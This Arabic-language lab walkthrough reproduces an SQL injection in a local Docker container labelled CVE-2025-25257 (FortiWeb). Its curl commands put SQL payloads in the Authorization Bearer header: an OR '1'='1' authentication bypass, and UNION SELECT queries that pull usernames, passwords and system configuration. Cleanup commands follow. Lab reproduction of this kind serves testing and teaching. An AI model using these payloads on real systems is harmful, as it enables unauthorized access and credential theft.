docker-compose up -d

التحقق من أن الحاوية نشطة

docker-compose ps

الاطلاع على السجلات

docker-compose logs -f

الخطوة 2 : التحقق من إمكانية الوصول إلى الخدمة

curl http://localhost:8080/api/system/status

الخطوة 3 : استغلال الثغرة

طلب غير خبيث

curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"

حقن استعلام SQL خبيث - تجاوز عبر OR 1=1

curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"

استخراج البيانات عبر حقن UNION-SELECT

curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"

تهريب البيانات الحساسة

curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"

الخطوة 4 : التنظيف والإيقاف

إيقاف الحاوية

docker-compose down

حذف وحدات التخزين (volumes)

docker-compose down -v

حذف الصورة

docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest